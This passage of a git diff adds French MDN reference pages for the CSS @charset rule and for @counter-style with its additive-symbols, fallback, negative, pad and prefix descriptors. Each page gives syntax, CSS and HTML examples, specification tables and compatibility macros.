+ <li>L'encodage défini dans le document appelant la ressource (l'attribut <code>charset</code> de l'élément {{HTMLElement("link")}}). Cette méthode est désormais obsolète et ne doit plus être utilisée.</li>
+ <li>Dans tous les autres cas, on considère que le document est encodé en UTF-8</li>
+</ol>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="brush: css">@charset &lt;<em>charset</em>&gt;;
+</pre>
+
+<p>où</p>
+
+<dl>
+ <dt><code><em>charset</em></code></dt>
+ <dd>Est une chaîne de caractères (une valeur CSS de type  {{cssxref("&lt;string&gt;")}}) indiquant l'encodage qui doit être utilisé. Cette valeur doit correspondre à un nom d'encodage valide pour le Web tel que défini dans <a href="https://www.iana.org/assignments/character-sets/character-sets.xhtml">le registre IANA</a> et doit être délimitée par des doubles quotes, précédée d'un blanc (U+0020) et suivie d'un point-virgule. Si plusieurs noms sont associés avec l'encodage, seul celui marqué avec <em>préféré</em>  (<em>preferred</em>) doit être utilisé.</dd>
+</dl>
+
+<h3 id="Syntaxe_formelle">Syntaxe formelle</h3>
+
+<pre class="syntaxbox">{{csssyntax}}
+</pre>
+
+<h2 id="Exemples">Exemples</h2>
+
+<h3 id="Exemples_valides">Exemples valides</h3>
+
+<pre class="brush: css">@charset "UTF-8";      /* Valide, la feuille de style est encodée en Unicode UTF-8 */
+@charset "iso-8859-15"; /* Valide, la feuille de style est encodée en Latin-9 (langues d'Europe occidentale avec le symbole €) */
+</pre>
+
+<h3 id="Exemples_invalides">Exemples invalides</h3>
+
+<pre class="brush: css example-bad"> @charset "UTF-8";      /* Invalide, il y a un caractère (un espace) avant la règle @ */
+@charset UTF-8;         /* Invalide, sans ' ou ", le jeu de caractères n'est pas une chaîne CSS ({{cssxref("&lt;string&gt;")}}) */
+</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('CSS2.1', 'syndata.html#x57', '@charset')}}</td>
+   <td>{{Spec2('CSS2.1')}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Ce tableau de compatibilité a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à envoyer une <em>pull request</em> sur <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</div>
+
+<p>{{Compat("css.at-rules.charset")}}</p>
diff --git a/files/fr/web/css/@counter-style/additive-symbols/index.html b/files/fr/web/css/@counter-style/additive-symbols/index.html
new file mode 100644
index 0000000000..51c9cb0094
--- /dev/null
+++ b/files/fr/web/css/@counter-style/additive-symbols/index.html
@@ -0,0 +1,87 @@
+---
+title: additive-symbols
+slug: Web/CSS/@counter-style/additive-symbols
+tags:
+  - CSS
+  - Descripteur
+  - Reference
+translation_of: Web/CSS/@counter-style/additive-symbols
+---
+<div>{{CSSRef}}</div>
+
+<p>Le descripteur <strong><code>additive-symbols</code></strong>, utilisé pour la règle @ {{cssxref("@counter-style")}} est semblable au descripteur {{cssxref('symbols')}} et permet à l'utilisateur de définir les symboles qui doivent être utilisé pour représenter le compteur lorsque le descripteur {{cssxref('system')}} prend la valeur <code>additive</code>. Le descripteur <code>additive-symbols</code> définit des <em>tuples additifs</em>. Un tuple additif est une paire contenant un symbole et un entier positif qui représente un poids. Le système additif est utilisé afin de construire des systèmes <a href="https://fr.wikipedia.org/wiki/Notation_additive_(num%C3%A9ration)">de notation additive</a> tels que les nombres romains.</p>
+
+<pre class="brush: css  no-line-numbers">additive-symbols: 3 "0";
+additive-symbols: 3 "0", 2 "\2E\20";
+additive-symbols: 3 "0", 2 url(symbol.png);
+</pre>
+
+<p>Lorsque la valeur du descripteur <code>system</code> est <code>cyclic</code>, <code>numeric</code>, <code>alphabetic</code>, <code>symbolic</code> ou <code>fixed</code>, c'est le descripteur <code>symbols</code> qui est utilisé à la place de <code>additive-symbols</code> afin de définir les symboles utilisés pour le compteur.</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<h3 id="Syntaxe_formelle">Syntaxe formelle</h3>
+
+<pre class="syntaxbox">{{csssyntax}}</pre>
+
+<h2 id="Exemples">Exemples</h2>
+
+<h3 id="CSS">CSS</h3>
+
+<pre class="brush: css">@counter-style additive-symbols-example {
+  system: additive;
+  additive-symbols: V 5, IV 4, I 1;
+}
+.exemple {
+  list-style: additive-symbols-example;
+}</pre>
+
+<h3 id="HTML">HTML</h3>
+
+<pre class="brush: html">&lt;ul class="exemple"&gt;
+  &lt;li&gt;Un&lt;/li&gt;
+  &lt;li&gt;Deux&lt;/li&gt;
+  &lt;li&gt;Trois&lt;/li&gt;
+  &lt;li&gt;Quatre&lt;/li&gt;
+  &lt;li&gt;Cinq&lt;/li&gt;
+&lt;/ul&gt;</pre>
+
+<h3 id="Résultat">Résultat</h3>
+
+<p>{{EmbedLiveSample('Exemples')}}</p>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('CSS3 Counter Styles', '#counter-style-symbols', 'additive-symbols')}}</td>
+   <td>{{Spec2('CSS3 Counter Styles')}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+ </tbody>
+</table>
+
+<p>{{cssinfo}}</p>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Ce tableau de compatibilité a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à envoyer une <em>pull request</em> sur <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</div>
+
+<p>{{Compat("css.at-rules.counter-style.additive-symbols")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{cssxref("list-style")}},</li>
+ <li>{{cssxref("list-style-image")}},</li>
+ <li>{{cssxref("list-style-position")}}</li>
+ <li>{{cssxref("symbols", "symbols()")}} : la notation fonctionnelle qui permet de créer des styles de compteur anonymes.</li>
+</ul>
diff --git a/files/fr/web/css/@counter-style/fallback/index.html b/files/fr/web/css/@counter-style/fallback/index.html
new file mode 100644
index 0000000000..cf00348402
--- /dev/null
+++ b/files/fr/web/css/@counter-style/fallback/index.html
@@ -0,0 +1,90 @@
+---
+title: fallback
+slug: Web/CSS/@counter-style/fallback
+tags:
+  - CSS
+  - Descripteur
+  - Reference
+translation_of: Web/CSS/@counter-style/fallback
+---
+<div>{{CSSRef}}</div>
+
+<p>Le descripteur <strong><code>fallback</code></strong>, associé à la règle @ {{cssxref("@counter-style")}} est utilisé afin d'indiquer un style de secours au cas où le style courant ne permet pas de créer une représentation pour le marqueur du compteur pour une valeur donnée. Si le style de secours indiqué ne le permet pas non plus, ce sera le style de secours du style de secours qui sera utilisé et ainsi de suite. Si un style de secours valide n'est pas indiqué, ce sera la valeur <code>decimal</code> qui sera utilisée. Les scénarios pour lesquels ce style de secours est utilisé sont :</p>
+
+<ul>
+ <li>Lorsque le descripteur {{cssxref('range')}} est utilisé, le style de secours est utilisé pour représenter les valeurs situées en dehors de l'intervalle.</li>
+ <li>Lorsque le descripteur {{cssxref('system')}} vaut <code>fixed</code> et qu'il n'y a pas suffisamment de symboles pour couvrir l'ensemble des éléments de la liste, le style de secours est utilisé pour le reste des éléments de la liste.</li>
+</ul>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="brush: css">/* Valeurs avec un mot-clé */
+fallback: lower-alpha;
+fallback: custom-gangnam-style;
+</pre>
+
+<h3 id="Syntaxe_formelle">Syntaxe formelle</h3>
+
+<pre class="syntaxbox">{{csssyntax}}</pre>
+
+<h2 id="Exemples">Exemples</h2>
+
+<h3 id="CSS">CSS</h3>
+
+<pre class="brush: css">@counter-style fallback-example {
+  system: fixed; symbols: "\24B6" "\24B7" "\24B8";
+  fallback: upper-alpha;
+}
+.exemple {
+  list-style: fallback-example;
+}</pre>
+
+<h3 id="HTML">HTML</h3>
+
+<pre class="brush: html" id="htmlOutput">&lt;ul class="exemple"&gt;
+  &lt;li&gt;Un&lt;/li&gt;
+  &lt;li&gt;Deux&lt;/li&gt;
+  &lt;li&gt;Trois&lt;/li&gt;
+  &lt;li&gt;Quatre&lt;/li&gt;
+  &lt;li&gt;Cinq&lt;/li&gt;
+&lt;/ul&gt;</pre>
+
+<h3 id="Résultat">Résultat</h3>
+
+<p>{{EmbedLiveSample('Exemples')}}</p>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('CSS3 Counter Styles', '#counter-style-fallback', 'fallback')}}</td>
+   <td>{{Spec2('CSS3 Counter Styles')}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+ </tbody>
+</table>
+
+<p>{{cssinfo}}</p>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Ce tableau de compatibilité a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à envoyer une <em>pull request</em> sur <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</div>
+
+<p>{{Compat("css.at-rules.counter-style.fallback")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{cssxref("list-style")}},</li>
+ <li>{{cssxref("list-style-image")}},</li>
+ <li>{{cssxref("list-style-position")}},</li>
+ <li>{{cssxref("symbols", "symbols()")}}, la notation fonctionnelle qui permet de créer des styles de compteur anonymes.</li>
+</ul>
diff --git a/files/fr/web/css/@counter-style/index.html b/files/fr/web/css/@counter-style/index.html
new file mode 100644
index 0000000000..12dd1653c3
--- /dev/null
+++ b/files/fr/web/css/@counter-style/index.html
@@ -0,0 +1,171 @@
+---
+title: '@counter-style'
+slug: Web/CSS/@counter-style
+tags:
+  - CSS
+  - Reference
+  - Règle @
+translation_of: Web/CSS/@counter-style
+---
+<div>{{CSSRef}}</div>
+
+<p>La <a href="/fr/docs/Web/CSS/Règles_@">règle @</a> CSS<strong> <code>@counter-style</code></strong> permet aux auteurs de définir des styles de compteurs qui ne font pas partie de l'ensemble des styles natifs prédéfinis. Une règle <code>@counter-style</code> explique comment convertir la valeur d'un compteur en une chaîne de caractères correspondantes.</p>
+
+<pre class="brush: css no-line-numbers">@counter-style thumbs {
+  system: cyclic;
+  symbols: "\1F44D";
+  suffix: " ";
+}
+
+ul {
+   list-style: thumbs;
+}</pre>
+
+<p>La version initiale de CSS définit un ensemble de compteurs qui peuvent être utilisés pour mettre en forme les listes. Malgré l'ajout de nouveaux styles au fur et à mesure, cette approche s'est retrouvée limitée pour couvrir tous les besoins liés à la typographie. La règle <code>@counter-style</code> permet donc aux auteurs de définir librement d'autres styles si les styles prédéfinis ne conviennent pas.</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<h3 id="Descripteurs">Descripteurs</h3>
+
+<p>Chaque <code>@counter-style</code> est identifié par un nom et possède un ensemble de descripteurs.</p>
+
+<dl>
+ <dt>{{cssxref("@counter-style/system", "system")}}</dt>
+ <dd>Ce descripteur indique l'algorithme à utiliser pour convertir les valeurs entières du compteur en des chaînes de caractères correspondantes.</dd>
+</dl>
+
+<dl>
+ <dt>{{cssxref("@counter-style/negative", "negative")}}</dt>
+ <dd>Ce descripteur permet d'indiquer si le symbole du compteur doit être préfixé ou suffixé si la valeur est négative.</dd>
+</dl>
+
+<dl>
+ <dt>{{cssxref("@counter-style/prefix", "prefix")}}</dt>
+ <dd>Ce descripteur indique un symbole qui doit être utilisé comme préfixe pour le compteur. Les préfixes sont ajoutés à la fin de la représentation et apparaissent avant le signe négatif.</dd>
+</dl>
+
+<dl>
+ <dt>{{cssxref("@counter-style/suffix", "suffix")}}</dt>
+ <dd>Ce descripteur indique un symbole qui doit être utilisé comme suffixe pour le compteur. Comme pour les préfixes, les suffixes sont ajoutés à la fin de la représentation.</dd>
+</dl>
+
+<dl>
+ <dt>{{cssxref("@counter-style/range", "range")}}</dt>
+ <dd>Ce descripteur indique l'intervalle de valeur pour lequel le style du compteur peut s'appliquer. Pour les valeurs du compteur en dehors de cet intervalle, le style utilisé sera le style de secours.</dd>
+</dl>
+
+<dl>
+ <dt>{{cssxref("@counter-style/pad", "pad")}}</dt>
+ <dd>Ce descripteur est utilisé lorsqu'il faut que la représentation du marqueur ait une longueur minimale. Ainsi, s'il faut que le compteur mesure deux caractères (ex. 01, 02, 03, 04 etc), on utilisera ce descripteur. Pour les valeurs dont la taille est plus grande que celle indiquée dans ce descripteur, le marqueur est construit normalement.</dd>
+</dl>
+
+<dl>
+ <dt>{{cssxref("@counter-style/fallback", "fallback")}}</dt>
+ <dd>Ce descripteur définit le système en cas de secours (si le système définit via la règle @ ne permet pas de construire le marqueur ou si la valeur du compteur est en dehors de l'intervalle défini). Si le système indiqué en secours échoue également, ce sera alors le système de secours de secours qui sera utilisé et ainsi de suite si nécessaire. Si besoin, le style décimal sera utilisé en fin de chaîne.</dd>
+</dl>
+
+<dl>
+ <dt>{{cssxref("@counter-style/symbols", "symbols")}}</dt>
+ <dd>Ce descripteur définit les symboles qui doivent être utilisés pour représenter le marqueur. Les symboles peuvent contenir des chaînes de caractères, des images ou des identifiants. L'utilisation des symboles et leur combinaison pour représenter le marqueur dépend de l'algorithme indiqué via le descripteur <code>system</code>. Ainsi, si <code>system</code> vaut <code>fixed</code>, chacun des N symboles définis dans le descripteur sera utilisé pour représenter les N premiers symboles. Une fois l'ensemble épuisé, le style de secours sera utilisé pour le reste de la liste.<br>
+ <br>
+ Cet exemple de règle <code>@counter-style</code> utilise des images plutôt que des caractères. Attention, l'utilisation d'image pour les symboles est une fonctionnalité à risque en termes de conservation dans la spécification et n'est implémentée par aucun navigateur.<br>
+
+ <pre class="brush: css">@counter-style winners-list {
+  system: fixed;
+  symbols: url(gold-medal.svg) url(silver-medal.svg) url(bronze-medal.svg);
+  suffix: " ";
+}</pre>
+ </dd>
+</dl>
+
+<dl>
+ <dt>{{cssxref("@counter-style/additive-symbols", "additive-symbols")}}</dt>
+ <dd>Certains symboles définis via le descripteurs <code>symbols</code> sont utilisés par la plupart des algorithmes. Certains systèmes dits « additifs » s'appuient sur des <em>tuples additifs</em> décrit avec ce descripteur. Chaque tuple additif se compose d'un symbole de compteur et d'un poids entier positif. Les tuples additifs doivent être définis dans l'ordre décroissant de leurs poids.</dd>
+</dl>
+
+<dl>
+ <dt>{{cssxref("@counter-style/speak-as", "speak-as")}}</dt>
+ <dd>Ce descripteur indique la façon dont le compteur peut être prononcé par un lecteur d'écran. Ainsi, la valeur du symbole peut être lue comme un nombre ou comme un alphabet ou comme des sons fournis.</dd>
+</dl>
+
+<h3 id="Syntaxe_formelle">Syntaxe formelle</h3>
+
+<pre class="syntaxbox">{{csssyntax}}
+</pre>
+
+<h2 id="Exemples">Exemples</h2>
+
+<h3 id="CSS">CSS</h3>
+
+<pre class="brush: css">@counter-style circled-alpha {
+  system: fixed;
+  symbols: Ⓐ Ⓑ Ⓒ Ⓓ Ⓔ Ⓕ Ⓖ Ⓗ Ⓘ Ⓙ Ⓚ Ⓛ Ⓜ Ⓝ Ⓞ Ⓟ Ⓠ Ⓡ Ⓢ Ⓣ Ⓤ Ⓥ Ⓦ Ⓧ Ⓨ Ⓩ;
+  suffix: " ";
+}</pre>
+
+<pre class="brush: css">.exemple {
+   list-style: circled-alpha;
+}
+</pre>
+
+<h3 id="HTML">HTML</h3>
+
+<pre class="brush: html">&lt;ul class="exemple"&gt;
+  &lt;li&gt;Un&lt;/li&gt;
+  &lt;li&gt;Deux&lt;/li&gt;
+  &lt;li&gt;Trois&lt;/li&gt;
+  &lt;li&gt;Quatre&lt;/li&gt;
+  &lt;li&gt;Cinq&lt;/li&gt;
+  &lt;li&gt;Six&lt;/li&gt;
+&lt;/ul&gt;</pre>
+
+<h3 id="Résultat">Résultat</h3>
+
+<p>{{EmbedLiveSample("Exemples")}}</p>
+
+<div class="note">
+<p><strong>Note :</strong> Une page d'exemple avec plus de variables est disponible ici : <a href="https://mdn.github.io/css-examples/counter-style-demo/">https://mdn.github.io/css-examples/counter-style-demo/</a>.</p>
+</div>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('CSS3 Counter Styles', '#the-counter-style-rule', 'counter-style')}}</td>
+   <td>{{Spec2('CSS3 Counter Styles')}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Ce tableau de compatibilité a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à envoyer une <em>pull request</em> sur <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</div>
+
+<p>{{Compat("css.at-rules.counter-style")}}</p>
+
+<h3 id="Notes_relatives_à_Quantum">Notes relatives à Quantum</h3>
+
+<ul>
+ <li>Gecko permettait d'utiliser <code>none</code> comme valeur pour les descripteurs <code>system</code> et <code>fallback</code> de <code>@counter-style</code> alors que ce devrait être invalide selon la spécification. Le nouveau moteur CSS de Firefox, Quantum CSS (aussi appelé <a class="external external-icon" href="https://wiki.mozilla.org/Quantum/Stylo">Stylo</a>, prévu pour Firefox 57) a résolu ce bug ({{bug(1377414)}}).</li>
+</ul>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{cssxref("list-style")}}</li>
+ <li>{{cssxref("list-style-image")}}</li>
+ <li>{{cssxref("list-style-position")}}</li>
+ <li>{{cssxref("list-style-type")}}</li>
+ <li>{{cssxref("symbols", "symbols()")}} : la notation fonctionnelle qui permet de créer des styles de compteur anonymes</li>
+ <li>Les fonctions CSS {{Cssxref("counter")}} et {{Cssxref("counters")}}</li>
+ <li><a href="https://mdn.github.io/css-examples/counter-style-demo/">Démonstration pour les styles de compteur</a> (<a href="https://github.com/mdn/css-examples/tree/master/counter-style-demo">code</a>)</li>
+</ul>
diff --git a/files/fr/web/css/@counter-style/negative/index.html b/files/fr/web/css/@counter-style/negative/index.html
new file mode 100644
index 0000000000..375fafa8fb
--- /dev/null
+++ b/files/fr/web/css/@counter-style/negative/index.html
@@ -0,0 +1,99 @@
+---
+title: negative
+slug: Web/CSS/@counter-style/negative
+tags:
+  - CSS
+  - Descripteur
+  - Reference
+translation_of: Web/CSS/@counter-style/negative
+---
+<div>{{CSSRef}}</div>
+
+<p>Le descripteur <strong><code>negative</code></strong>, associé à la règle @ {{cssxref("@counter-style")}}, permet de définir la représentation du compteur lorsque la valeur est négative.</p>
+
+<pre class="brush: css no-line-numbers">/* Valeurs représentant les symboles */
+negative: "-";       /* Préfixe '-' si la valeur est négative */
+negative: "(" ")";   /* Entoure la valeur avec '(' et ')' si elle est négative */
+</pre>
+
+<p>Si la valeur du compteur est négative, le symbole fourni par le descripteur sera utilisé comme préfixe à la représentation du compteur. Un deuxième symbole peut être indiqué et est alors utilisé comme suffixe. Le descripteur <code>negative</code> n'a d'effet que si la valeur du descripteur <code>system</code> est <code>symbolic</code>, <code>alphabetic</code>, <code>numeric</code>, <code>additive</code> ou <code>extends</code> et si le compteur personnalisé utilise des indices négatifs. Dans les autres cas, si le descripteur <code>negative</code> est fourni, il est ignoré.</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<h3 id="Valeurs">Valeurs</h3>
+
+<dl>
+ <dt>Premier symbole</dt>
+ <dd>Le préfixe (type {{cssxref("&lt;symbol&gt;")}}) à ajouter à la représentation lorsque la valeur du compteur est négative.</dd>
+ <dt>Deuxième symbole {{optional_inline}}</dt>
+ <dd>Si cette valeur (type {{cssxref("&lt;symbol&gt;")}}) est présente, le symbole sera ajouté après la représentation du compteur lorsque sa valeur est négative.</dd>
+</dl>
+
+<h3 id="Syntaxe_formelle">Syntaxe formelle</h3>
+
+<pre class="syntaxbox">{{csssyntax}}</pre>
+
+<h2 id="Exemples">Exemples</h2>
+
+<h3 id="CSS">CSS</h3>
+
+<pre class="brush: css">@counter-style neg {
+  system: numeric;
+  symbols: "0" "1" "2" "3" "4" "5" "6" "7" "8" "9";
+  negative: "(-" ")";
+}
+.exemple {
+  list-style: neg;
+}</pre>
+
+<h3 id="HTML">HTML</h3>
+
+<pre class="brush: html">&lt;ul class="exemple" start="-3"&gt;
+  &lt;li&gt;Un&lt;/li&gt;
+  &lt;li&gt;Deux&lt;/li&gt;
+  &lt;li&gt;Trois&lt;/li&gt;
+  &lt;li&gt;Quatre&lt;/li&gt;
+  &lt;li&gt;Cinq&lt;/li&gt;
+&lt;/ul&gt;</pre>
+
+<h3 id="Résultat">Résultat</h3>
+
+<p>{{EmbedLiveSample('Exemples')}}</p>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('CSS3 Counter Styles', '#counter-style-system', 'system')}}</td>
+   <td>{{Spec2('CSS3 Counter Styles')}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+ </tbody>
+</table>
+
+<p>{{cssinfo}}</p>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div class="hidden">Ce tableau de compatibilité a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à envoyer une <em>pull request</em> sur <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</div>
+
+<p>{{Compat("css.at-rules.counter-style.negative")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{cssxref("list-style")}},</li>
+ <li>{{cssxref("list-style-image")}},</li>
+ <li>{{cssxref("list-style-position")}},</li>
+ <li>{{cssxref("symbols", "symbols()")}}, la notation fonctionnelle pour créer des styles de compteur anonymes.</li>
+</ul>
diff --git a/files/fr/web/css/@counter-style/pad/index.html b/files/fr/web/css/@counter-style/pad/index.html
new file mode 100644
index 0000000000..ce73abaeca
--- /dev/null
+++ b/files/fr/web/css/@counter-style/pad/index.html
@@ -0,0 +1,98 @@
+---
+title: pad
+slug: Web/CSS/@counter-style/pad
+tags:
+  - CSS
+  - Descripteur
+  - Reference
+translation_of: Web/CSS/@counter-style/pad
+---
+<div>{{CSSRef}}</div>
+
+<p>Le descripteur <strong><code>pad</code></strong>, utilisé dans la règle @ {{cssxref("@counter-style")}} peut être utilisé pour que la représentation du marqueur pour le compteur ait une longueur minimale. Si la représentation du marqueur est plus courte que la longueur indiquée, le marqueur sera complété autant de fois que nécessaire avec le symbole indiqué. Les représentations du marqueur qui sont plus longues que la longueur minimale indiquée dans le descripteur sont construites normalement.</p>
+
+<p>Le descripteur <code>pad</code> utilise deux paramètres :</p>
+
+<ul>
+ <li>un entier indiquant la longueur minimale de la représentation du marqueur</li>
+ <li>Le symbole utilisé pour compléter la représentation du marqueur si nécessaire.</li>
+</ul>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="brush: css">pad: 3 "0";
+</pre>
+
+<h3 id="Valeurs">Valeurs</h3>
+
+<dl>
+ <dt><code>&lt;integer&gt; &amp;&amp; &lt;symbol&gt;</code></dt>
+ <dd>La composante <code>&lt;integer&gt;</code> indique la longueur minimale du marqueur. La valeur doit être positive. Si la représentation du marqueur est plus courte, elle sera complétée avec la valeur indiquée par la composante <code>&lt;symbol&gt;</code>.</dd>
+</dl>
+
+<h3 id="Syntaxe_formelle">Syntaxe formelle</h3>
+
+<pre class="syntaxbox">{{csssyntax}}</pre>
+
+<h2 id="Exemples">Exemples</h2>
+
+<h3 id="CSS">CSS</h3>
+
+<pre class="brush: css">@counter-style pad-example {
+  system: numeric;
+  symbols: "0" "1" "2" "3" "4" "5";
+  pad: 2 "0";
+}
+.exemple {
+  list-style: pad-example;
+}</pre>
+
+<h3 id="HTML">HTML</h3>
+
+<pre class="brush: html">&lt;ul class="exemple"&gt;
+  &lt;li&gt;Un&lt;/li&gt;
+  &lt;li&gt;Deux&lt;/li&gt;
+  &lt;li&gt;Trois&lt;/li&gt;
+  &lt;li&gt;Quatre&lt;/li&gt;
+  &lt;li&gt;Cinq&lt;/li&gt;
+&lt;/ul&gt;</pre>
+
+<h3 id="Résultat">Résultat</h3>
+
+<p>{{EmbedLiveSample('Exemples')}}</p>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('CSS3 Counter Styles', '#descdef-counter-style-pad', 'pad')}}</td>
+   <td>{{Spec2('CSS3 Counter Styles')}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+ </tbody>
+</table>
+
+<p>{{cssinfo}}</p>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Ce tableau de compatibilité a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à envoyer une <em>pull request</em> sur <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</div>
+
+<p>{{Compat("css.at-rules.counter-style.pad")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{cssxref("list-style")}},</li>
+ <li>{{cssxref("list-style-image")}},</li>
+ <li>{{cssxref("list-style-position")}},</li>
+ <li>{{cssxref("symbols", "symbols()")}}, la notation fonctionnelle qui permet de créer des styles de compteur anonymes.</li>
+</ul>
diff --git a/files/fr/web/css/@counter-style/prefix/index.html b/files/fr/web/css/@counter-style/prefix/index.html
new file mode 100644
index 0000000000..25de1edd1c
--- /dev/null
+++ b/files/fr/web/css/@counter-style/prefix/index.html
@@ -0,0 +1,95 @@
+---
+title: prefix
+slug: Web/CSS/@counter-style/prefix
+tags:
+  - CSS
+  - Descripteur
+  - Reference
+translation_of: Web/CSS/@counter-style/prefix
+---
+<div>{{CSSRef}}</div>
+
+<p>Le descripteur <code><strong>prefix</strong></code>, utilisé avec la règle @ {{cssxref("@counter-style")}}, permet de définir un symbole qui sera ajouté comme préfixe à la représentation du marqueur. Si aucune valeur n'est fournie, la valeur utilisée par défaut sera la chaîne de caractères vide.</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="brush: css">/* Valeurs de symbole */
+prefix: "»";
+prefix: "Page";
+</pre>
+
+<h3 id="Valeurs">Valeurs</h3>
+
+<dl>
+ <dt><code>&lt;symbol&gt;</code></dt>
+ <dd>Définit le symbole à utilisé comme préfixe devant le marqueur du compteur de la liste. Cette valeur peut être une valeur de type {{cssxref("&lt;string&gt;")}}, {{cssxref("&lt;image&gt;")}} ou {{cssxref("&lt;custom-ident&gt;")}}.</dd>
+</dl>
+
+<h3 id="Syntaxe_formelle">Syntaxe formelle</h3>
+
+<pre class="syntaxbox">{{csssyntax}}</pre>
+
+<h2 id="Exemples">Exemples</h2>
+
+<h3 id="CSS">CSS</h3>
+
+<pre class="brush: css">@counter-style chapitres {
+  system: numeric;
+  symbols: "0" "1" "2" "3" "4" "5" "6" "7" "8" "9";
+  prefix: 'Chapitre ';
+}
+
+.exemple {
+  list-style: chapitres;
+  padding-left: 15ch;
+}</pre>
+
+<h3 id="HTML">HTML</h3>
+
+<pre class="brush: html">&lt;ul class="exemple"&gt;
+  &lt;li&gt;Au fond du terrier&lt;/li&gt;
+  &lt;li&gt;La mare aux larmes&lt;/li&gt;
+  &lt;li&gt;La course cocasse&lt;/li&gt;
+  &lt;li&gt;L'habitation du lapin blanc&lt;/li&gt;
+  &lt;li&gt;Conseils d'une chenille&lt;/li&gt;
+&lt;/ul&gt;</pre>
+
+<h3 id="Résultat">Résultat</h3>
+
+<p>{{EmbedLiveSample('Exemples')}}</p>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('CSS3 Counter Styles', '#descdef-counter-style-prefix', 'prefix')}}</td>
+   <td>{{Spec2('CSS3 Counter Styles')}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+ </tbody>
+</table>
+
+<p>{{cssinfo}}</p>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Ce tableau de compatibilité a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à envoyer une <em>pull request</em> sur <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</div>
+
+<p>{{Compat("css.at-rules.counter-style.prefix")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{cssxref("list-style")}},</li>
